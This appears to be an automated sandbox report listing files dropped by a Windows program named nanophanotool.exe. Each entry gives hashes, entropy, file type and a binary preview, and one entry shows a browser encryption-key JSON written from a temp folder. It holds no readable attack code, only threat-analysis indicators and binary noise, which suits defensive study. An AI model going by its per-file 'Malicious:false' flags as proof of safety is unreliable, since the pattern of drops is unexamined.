                                                                                                                                                                                                                                        SHA-512:AABE8160FAC7E0EB8E8EB80963FE995FA4A802147D1B8F605BC0FE3F8E2474463C1D313471C11C85EB5578112232FDC8E89B8A6D43DBE38A328538FF30A78D08
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........S...h.....i.....j.....k.+...l.6...n.>...o.C...p.P...r.V...s.g...t.p...v.....w.....y.....z.....|.....}.........................................................................v...............................................!.....c...............................................3.....Z.....g.............................:.....a.....k.....~.......................+.....\.....f.....y.........................................(.....J.....x.......................7.....F.....N.....U.....i...................................P.....c.....}.................(.....X.....g...............................................!.....?.....].....~.....................................................W.................C.............................!.....=.....C.....Q.....e.....k.......................^.......................+.....7.....L.....e............... .....".....%.....(.....*.K...+.N...,.l........./.....0.....1.....3.1...4.^...5.....6.....7.....8.S...9.l...;.....<.....=.....>.....?.....@.....A.....C.W.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):488196
                                                                                                                                                                                                                                        Entropy (8bit):5.7988900625034185
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:gzLBn6cDgszBm0JXbwS1LcxzIJj758+UIi0+UELbzi830l:gpdDgsz00JrwSNizS5Hti0+UUvi830l
                                                                                                                                                                                                                                        MD5:3FE6F90F1F990AED508DEDA3810CE8C2
                                                                                                                                                                                                                                        SHA1:3B86F00666D55E984B4ACA1A5E8319FFA8F411FF
                                                                                                                                                                                                                                        SHA-256:5EEBB23221AEBCF0BE01BFC2695F7DD35B17F6769BE1E28E5610D35C9717854B
                                                                                                                                                                                                                                        SHA-512:9AA9D55F112C8B32AA636086CFD2161D97EA313CAC1A44101014128124A03504C992AC8EFD265ABA4E91787AEF7134A14507A600F5EC96FF82DF950A8883828C
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:............h.j...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.!...}.3.....;.....@.....H.....P.....X....._.....f.....m.....n.....o.....q...............................................(.....2.....Y.....x.....z.....~................................... .....+.....D.....t...........................................................5.....L.....V.....a.....r...........................................................T.....q.................................................................o...................................<.....P.....[.....i.....|.........................................#.....:.....A.....D.....E.....N.....W.....c.....m.......................4.....C.....................................................2.....=....._.............................4.....i....................................... .....".....%.....(.E...*.j...+.m...,.........../.....0.....1.....3.....4.*...5.?...6.y...7.....8.....9.....;.....<.....=.....>.....?.'...@.I...A.u...C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):354097
                                                                                                                                                                                                                                        Entropy (8bit):6.680890808929274
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:gchsAAfyrtJw99jEaZx79+vKK4/+kTme5zBNCJ7GAmlv:gAAfyrtJAoaZ+vKK4/ye5zBNCJ7C
                                                                                                                                                                                                                                        MD5:20F315D38E3B2EDC5832931E7770B62A
                                                                                                                                                                                                                                        SHA1:2390BD585DEC1E884873454BB98B6F1467DCF7BB
                                                                                                                                                                                                                                        SHA-256:53A803724BBF2E7F40AAB860325C348F786EECA1EA5CA39A76B4C4A616E3233F
                                                                                                                                                                                                                                        SHA-512:C338E241DE3561707C7C275B7D6E0FB16185A8CD7112057C08B74FFCE122148EF693FE310C839FF93F102726A78E61DE3E68C8E324F445A07A98EE9C4FDD4E13
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..........?.h.....i.....j.....k.&...l.-...m.5...o.;...p.@...r.F...s.W...t.`...v.u...w.....|.....}...............................................................................%.....1.....C.....I.....\.....s.....y.....................................................#...../.....G.....S....._.................................................................+.....:.....@.....I.....[.....m.....s.....y...............................................$.....0.....6.....>.....E.....Q.....].....i............................................... .....D.....b.....q.....w............................................................................. .....5.....>.....G.....M.....W.....a.............................K.....].....o.................................................................,.....>.....g............................................. .....".....%.....(.)...*.>...+.A...,.n........./.....0.....1.....3.....4.....5.....6.N...7.c...8.x...9.....;.....<.....=.....>.....?.....@.....A.P...C.w...D...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):350032
                                                                                                                                                                                                                                        Entropy (8bit):6.69437398216595
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:BiwxICJkrCU2JLuRyMD+4qz5MHzCtMkZ/9ybT1:BiyS0pMD+4qz5MHzd6/o
                                                                                                                                                                                                                                        MD5:524711882CBFB5B95A63EF48F884CFF0
                                                                                                                                                                                                                                        SHA1:1078037687CFC5D038EEB8B63D295239E0EDC47A
                                                                                                                                                                                                                                        SHA-256:9E16499CD96A155D410C8DF4C812C52FF2A750F8C4DB87FD891C1E58C1428C78
                                                                                                                                                                                                                                        SHA-512:16D45A81F7F4606EDA9D12A8B1DA06E3C866B11BDC0C92A4022BFB8D02B885D8F028457CF23E3F7589DFD191ED7F7FBC68C81B6E1411834EDFCBC9CC85E0DC4D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..........\.h.....i.....j.....k.....l.....n.....o.....p.....r.....s.-...t.6...v.K...w.X...y.^...z.m...|.s...}..................................................................................... .....8.....N.....Z.....m...........................................................!.....*.....6.....S.....`.....l.....~.......................................................................#.....)...../.....5.....M.....\.....k.....}.............................................................................'.....T.....`.....l.....................................................,...../.....;.....M....._.....s.............................................................................I.....v.....|...............................................!.....'.....-.....?.....i.....................................................$.....8.....A... .M..."._...%.z...(.....*.....+.....,.........../.....0.....1.@...3.Q...4.i...5.....6.....7.....8.....9.....;.....<.....=.-...>.F...?.P...@.e...A.....C.....D...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):5245458
                                                                                                                                                                                                                                        Entropy (8bit):7.995476669559971
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:98304:HLYxfQVcnNWz49PDq2AwpmqdhBh1Dd42cjrwrbHw4o0DPelwG3RC:H0pQGcMButuBhpd4jkrU4oeelrRC
                                                                                                                                                                                                                                        MD5:7D5065ECBA284ED704040FCA1C821922
                                                                                                                                                                                                                                        SHA1:095FCC890154A52AD1998B4B1E318F99B3E5D6B8
                                                                                                                                                                                                                                        SHA-256:A10C3D236246E001CB9D434A65FC3E8AA7ACDDDDD9608008DB5C5C73DEE0BA1F
                                                                                                                                                                                                                                        SHA-512:521B2266E3257ADAA775014F77B0D512FF91B087C2572359D68FFE633B57A423227E3D5AF8EE4494538F1D09AA45FFA1FE8E979814178512C37F7088DDD7995D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:............f.......P'....$*.....-...43@...4.H...4XK...4i]...4.f...4.m...4?p...4.v...4.x...4.z...4.~...4....4.....4?....4.....4....4.....4=....4z....4a....4....4....4.....4.....4.....43....4.....4.....4J....4J....4.....4.....4#....4j....4J....5.....5....v5.:..w5.;..x5.<..y5.>..z5a?...5.?...5.D...5.E...5dJ...5.O...5.V...5.f...5.w...5.x...5.|..n<&...x<....y<....z<....{<....|<....<+....<r....<8....</....<....V@....W@....X@x...Y@d...Z@....[@2...\@O...]@....^@...._@hh..`@....<A....=A.....P.~...Pe....PX....P.....P.....Pt....P.....P3....Q.....QF....Q.....Q.....Q.....Q[....QA....Q.....Q.....QW....Q.....Qv....Q9!...Q.'...QF....Q.1..,Q.F..-QsL...QLN../Q.P..0Q.U..1Q.i..2Q.j..3Q.k..4QEm..5Q.o..6Q.r..7Q~t..8QEw..9Q!x..:Q.z..;Ql...<Q)...=Q....>Q ...?Q"....R....Ry....}.....}. ...}._...}%a...}[h...}.h...}[j...}Lo...}....}.&...}.....}.6...}4;...}.=...}&B...}mG...~.O...~.d...~.q...~.t...~.|...~.}..!~...."~....#~...$~|...&~....'~A...(~....)~....*~t$..+~.4..,~.6..-~V8...~.;../~i<..0~|=..1~iA..2~.H
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):9157192
                                                                                                                                                                                                                                        Entropy (8bit):5.646655267330779
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:Bn9CyBK3UK9tUv3UuAdFUnBUecSHNXC4215nL2S26L82ELcAJvsvRRvy4vS716DZ:ByUkd
                                                                                                                                                                                                                                        MD5:88E2B5448E638BE82169DDAF7BE3390C
                                                                                                                                                                                                                                        SHA1:B9FA217804DD7D97B997929A5B80E0FC8E4B9CF8
                                                                                                                                                                                                                                        SHA-256:A4C67438017B06E2FA7E0075F7E4CC6E14CD652134F17A9E82C84B9F7EAC8721
                                                                                                                                                                                                                                        SHA-512:9B7E1D97773A1C335F1731A9F90756E8EB426F9C4FC658B3EC1D14C1C5A54E3CDCE8B6A5E3D5E8F0A946358D135A4B28FD6E1E4EA9F4B841EE75A0F1BC5FDB24
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:....L+..H+..D+..{"files":{"node_modules":{"files":{"@isaacs":{"files":{"cliui":{"files":{"LICENSE.txt":{"size":731,"integrity":{"algorithm":"SHA256","hash":"2dc0465729366c3a7890dfa9e972a1ba7048a26c02116fb8b419a6a1ac110149","blockSize":4194304,"blocks":["2dc0465729366c3a7890dfa9e972a1ba7048a26c02116fb8b419a6a1ac110149"]},"offset":"0"},"build":{"files":{"index.cjs":{"size":10398,"integrity":{"algorithm":"SHA256","hash":"820aa357a7f6a022bfc3ac6ac19d1681921d0421cae898d5096423c0fb3b8607","blockSize":4194304,"blocks":["820aa357a7f6a022bfc3ac6ac19d1681921d0421cae898d5096423c0fb3b8607"]},"offset":"731"},"index.d.cts":{"size":1050,"integrity":{"algorithm":"SHA256","hash":"385fceba2f49ee3f91cd436d3f84b389375e1e8f86906b23f47df2e1b9c2b17b","blockSize":4194304,"blocks":["385fceba2f49ee3f91cd436d3f84b389375e1e8f86906b23f47df2e1b9c2b17b"]},"offset":"11129"},"lib":{"files":{"index.js":{"size":10100,"integrity":{"algorithm":"SHA256","hash":"e67b3446f47d4a672339c99bea9e987979da9fc70f421701814cb9d52ba176
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):107520
                                                                                                                                                                                                                                        Entropy (8bit):6.442687067441468
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
                                                                                                                                                                                                                                        MD5:792B92C8AD13C46F27C7CED0810694DF
                                                                                                                                                                                                                                        SHA1:D8D449B92DE20A57DF722DF46435BA4553ECC802
                                                                                                                                                                                                                                        SHA-256:9B1FBF0C11C520AE714AF8AA9AF12CFD48503EEDECD7398D8992EE94D1B4DC37
                                                                                                                                                                                                                                        SHA-512:6C247254DC18ED81213A978CCE2E321D6692848C64307097D2C43432A42F4F4F6D3CF22FB92610DFA8B7B16A5F1D94E9017CF64F88F2D08E79C0FE71A9121E40
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.......................................@....................................P.......x.......................T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):273328
                                                                                                                                                                                                                                        Entropy (8bit):3.2521181832662194
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:MpeVehd7eASb6iAGm4hmWRSJTnBSki+TfUNp2Zg+TEJ0xEI2tWaw8MCZ72T04GO9:YdyNm4mWRSJTBSXsU1vJzbYB
                                                                                                                                                                                                                                        MD5:8915DD2A6D6B4EBF9A16C77FE063D8DE
                                                                                                                                                                                                                                        SHA1:A03132ADCB99A82BA269D56AB6577CCFD1BB08E5
                                                                                                                                                                                                                                        SHA-256:C1802B29B13663A8890031411270866834246931F71F41397682DD88FA16D485
                                                                                                                                                                                                                                        SHA-512:ABD93CDD634AD4D38B7E3714B183335CDDB9E3AD14660247CC7285066C95342AC8595D68CD0868B8512E73BB656AB54386045533F998576B2CD6501BF456CD2C
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:............11.2.214.9-electron.0............................................;...b...........:..a........a........a........ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.............................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):588152
                                                                                                                                                                                                                                        Entropy (8bit):4.83735352889622
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:bFzofuYUahtcOm3A0Tg8zY8y4XrxXSIIBYgHi:JMfu/fTY8zrM9C7
                                                                                                                                                                                                                                        MD5:4CD37EA771EA4FE2F3AD46217CC02206
                                                                                                                                                                                                                                        SHA1:31680E26869B007E62550E96DBF846B3980D5B2B
                                                                                                                                                                                                                                        SHA-256:95F7B8664306DA8D0073A795E86590ED6FDAEDE5F489132E56C8779F53CF1ED5
                                                                                                                                                                                                                                        SHA-512:E1369734CBE17AAF6DD3CEEFB57F056C5A9346D2887A7D3EE7ED177386D7F5E624407869D53902B56AB350E4DED5612C3B0F52C2DD3EFA307E9947701068A2A0
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.........c~.11.2.214.9-electron.0...........................................H...P<..........X...........a........a........aT.......ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.....................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):5334528
                                                                                                                                                                                                                                        Entropy (8bit):6.335261874351837
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:98304:RKJSTu+985EkjstvgsnpkkHF3y/AFIB7:RQq85EkjstvgsnpkkJETB
                                                                                                                                                                                                                                        MD5:524B0D85D992F86A7F26C162F3DBB91C
                                                                                                                                                                                                                                        SHA1:BC9C862FD01F6134A0514DCB63F9FAB7A61CE269
                                                                                                                                                                                                                                        SHA-256:5B2FFB78FA963F2DEA5A7FCF7676FC3ABA243C4372D7528C8F1FC8F726D0A3FA
                                                                                                                                                                                                                                        SHA-512:422A18AF294D7551224E05F5F4F5DCFA51B3455C2E61FC285FD2B95B50274EB77FF317647E17B0E7D47459B4FED19C7C88C90E0878F2269A78D598B1196401D8
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......A..........;.......................................R...........`A..........................................L.~...&.L.P....`R.......P.<_...........pR.X}...L.......................L.(...@.A.@.............L.P............................text.....A.......A................. ..`.rdata...(....A..*....A.............@..@.data...p.....M.......M.............@....pdata..<_....P..`...LO.............@..@.00cfg..8.....Q.......P.............@..@.gxfg....,....R.......P.............@..@.retplne.....0R.......P..................tls....Q....@R.......P.............@..._RDATA..\....PR.......P.............@..@.rsrc........`R.......P.............@..@.reloc..X}...pR..~....P.............@..B................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:JSON data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):106
                                                                                                                                                                                                                                        Entropy (8bit):4.724752649036734
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                                                                                                                                        MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                                                                                                                                        SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                                                                                                                                        SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                                                                                                                                        SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):928256
                                                                                                                                                                                                                                        Entropy (8bit):6.558092096809165
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24576:IEW7F7IyaHx/fempu2e6Z5WODYsHh6g3P0zAk7o:e7IyaBfempa6Z5WODYsHh6g3P0zAk7
                                                                                                                                                                                                                                        MD5:6D4ADF9A48DBCE2E480EF10B1338CA3C
                                                                                                                                                                                                                                        SHA1:CEB77D5768C6EDA84EC8E0B43821B8027764DE81
                                                                                                                                                                                                                                        SHA-256:4CCA7E6C05B2D988926E4B4D0C8FF91D6356F18DE8BF40B440251180E5CAD6A7
                                                                                                                                                                                                                                        SHA-512:106DB7309B40AFABB1CCA911B204C83129683DC116AEC198568C4228C581BF0DE5963BFFC0B50DF8F43EC355264F271FC383F4155BE45350C0D7DD429C7F7F09
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......................................................................`A........................................H...<!......P...............<o..............T...t.......................X...(...@...@............................................text............................... ..`.rdata..............................@..@.data....L...p... ...V..............@....pdata..<o.......p...v..............@..@.00cfg..8....0......................@..@.gxfg...P(...@...*..................@..@.retplne.....p...........................tls................................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12288
                                                                                                                                                                                                                                        Entropy (8bit):5.719859767584478
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
                                                                                                                                                                                                                                        MD5:0D7AD4F45DC6F5AA87F606D0331C6901
                                                                                                                                                                                                                                        SHA1:48DF0911F0484CBE2A8CDD5362140B63C41EE457
                                                                                                                                                                                                                                        SHA-256:3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
                                                                                                                                                                                                                                        SHA-512:C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:7-zip archive data, version 0.4
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):64495876
                                                                                                                                                                                                                                        Entropy (8bit):7.999994968888187
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:1572864:OjddBnskvv+xG60c7ppBIF5IYRgQNWzMJM4R:yBnPvvt3cNjwIknVJN
                                                                                                                                                                                                                                        MD5:02C28BE888F5155FE14BA269687B401E
                                                                                                                                                                                                                                        SHA1:C94645FA71923418E31B5625C51AF3ECE19E409C
                                                                                                                                                                                                                                        SHA-256:22B5C80486AD70CA81FF25DB71DCE613C9BA692321D1E14490C1C564DF469121
                                                                                                                                                                                                                                        SHA-512:4F18E49BBC4C757E3BB4AB145D1B118312DF556B06C843085210721788C6B9453858026D58FD634187ED26C6894D8CDE1FE6991AFE992634FE044A0F9592F08D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:7z..'...yJ.M. ......%..........M..R..]...6...#k.![y.`.Gr#.f..F......./.t..C..8.^..k .....@..........ih..w*.`.c...I...;.R.A`../_.Q:..yn........6...a {.f_.....>..`..Nu.....q/..H...hsIhA.5..... .9.[...L./.(.^.+Vz@.Dt7OZI.z.N...~;].rW..k......s...^<i ...w.`3.}............T.Z.v.m..W8..m...........k..8..w+.8..9N.C......._; ..u.J........i43.d.......`....r."O.E...'.{h....'....$.M.$..Y....&.+.r|T....aF.T.9...&..sh....I..;.qP.Y..........V..^..P.:...D.."..@Cw...%8.h.5....6V/0..]....%7.Z.P..w..J..].....M..^......+..BMZ..&..}.6l..hT..t).?2....1...F..H..+...0.s.}.S.-x;...f.b}....8.R.@.....r.....Ib......$(/^XdI..46G..Q....`......h..H.U......p..[.Sa-Q@G.......h!....Z....2$.^.IqZ...~~CUB..#.nAp5.k..K....O".G.(......N...>`.k.....;.~A.X.e.mzUq.L...o..PH..WxfRH..z..dT!."d.W.4...Tx... ..Y<..1.P.#.W..Z7.f.z.R...u6.......C.+?.....p.d........".<.../h.Y..`u<m.y.u.Lh.Fz...#...F).,..G.~..'..Mx.s:3..V..m..[%.B.V[...V.Id_.~i6..$...H.ywyg.D.lA.`.H..+..X..@H....
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):434176
                                                                                                                                                                                                                                        Entropy (8bit):6.584811966667578
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:aUWQQ5O3fz0NG3ucDaEUTWfk+ZA0NrCL/k+uyoyBOX1okfW7w+Pfzqibckl:an5QEG39fPAkrE4yrBOXDfaNbck
                                                                                                                                                                                                                                        MD5:80E44CE4895304C6A3A831310FBF8CD0
                                                                                                                                                                                                                                        SHA1:36BD49AE21C460BE5753A904B4501F1ABCA53508
                                                                                                                                                                                                                                        SHA-256:B393F05E8FF919EF071181050E1873C9A776E1A0AE8329AEFFF7007D0CADF592
                                                                                                                                                                                                                                        SHA-512:C8BA7B1F9113EAD23E993E74A48C4427AE3562C1F6D9910B2BBE6806C9107CF7D94BC7D204613E4743D0CD869E00DAFD4FB54AAD1E8ADB69C553F3B9E5BC64DF
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L.6a..X2..X2..X2m.[3..X2m.]3..X2Z.]3+.X2Z.\3..X2Z.[3..X2m.\3..X2m.Y3..X2..Y2..X2..\3#.X2..]3..X2..X3..X2...2..X2...2..X2..Z3..X2Rich..X2........PE..L.....\...........!......................... ...............................@............@..........................6.......7..d................................E.....................................@............ ...............................text............................... ..`.rdata..8"... ...$..................@..@.data........P... ...6..............@....rsrc................V..............@..@.reloc...E.......F...Z..............@..B........................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        File Type:JSON data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):389
                                                                                                                                                                                                                                        Entropy (8bit):5.527884827852663
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12:YKWSg99rrt+ctthMea2A4JhntnQGwkDK/Kfi2dhY+:YKWfrrtttTsAJhnl5ZKqiER
                                                                                                                                                                                                                                        MD5:9BFE789FD93F7E4203122DEC2146148A
                                                                                                                                                                                                                                        SHA1:A9D1D0EB8AEE444AAC423BBE608A998BD89EF5AF
                                                                                                                                                                                                                                        SHA-256:41C2A59DD4940AA507DA5F14D5B59F7DC523BAC22A556D6E8224ED4B58C9E81A
                                                                                                                                                                                                                                        SHA-512:A3FD474774FE3F71DBE9F6AF6BAD96B3B69A1BAECD9A3C3641ECA70DE1CC3B6E3AF429C1EB1780B6C728133181C470BA93A640D3B8925ADCA223560112ADC06B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnJCnZcjx+RKCPUGkiCBbiAAAAAAIAAAAAABBmAAAAAQAAIAAAAMNzGiDj07aeQn+YLQ2dkfITZ+aHQ0L5HfIq5jeJIhg/AAAAAA6AAAAAAgAAIAAAAHEUCClvSBsam5t3yYAASSed9VC3cZJcIPfVqqzw8PrVMAAAAOGC0s5AnFQu7yFQDGLQSYyp+L0LQ7EyBcNk/DqavTSJJQp6ooZ2vszP+P+Q80p8/0AAAAAYxJaJV2idVGEynu6epoM4ZFe4f0QyaKPeKoKAdJ0DaGdbBx9+ctRAiJavvrmGdGP8iGjwd+o8b9giEaNx0ZEJ"}}
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        File Type:JSON data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):389
                                                                                                                                                                                                                                        Entropy (8bit):5.527884827852663
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12:YKWSg99rrt+ctthMea2A4JhntnQGwkDK/Kfi2dhY+:YKWfrrtttTsAJhnl5ZKqiER
                                                                                                                                                                                                                                        MD5:9BFE789FD93F7E4203122DEC2146148A
                                                                                                                                                                                                                                        SHA1:A9D1D0EB8AEE444AAC423BBE608A998BD89EF5AF
                                                                                                                                                                                                                                        SHA-256:41C2A59DD4940AA507DA5F14D5B59F7DC523BAC22A556D6E8224ED4B58C9E81A
                                                                                                                                                                                                                                        SHA-512:A3FD474774FE3F71DBE9F6AF6BAD96B3B69A1BAECD9A3C3641ECA70DE1CC3B6E3AF429C1EB1780B6C728133181C470BA93A640D3B8925ADCA223560112ADC06B
                                                                                                                                                                                                                                        Malicious:false
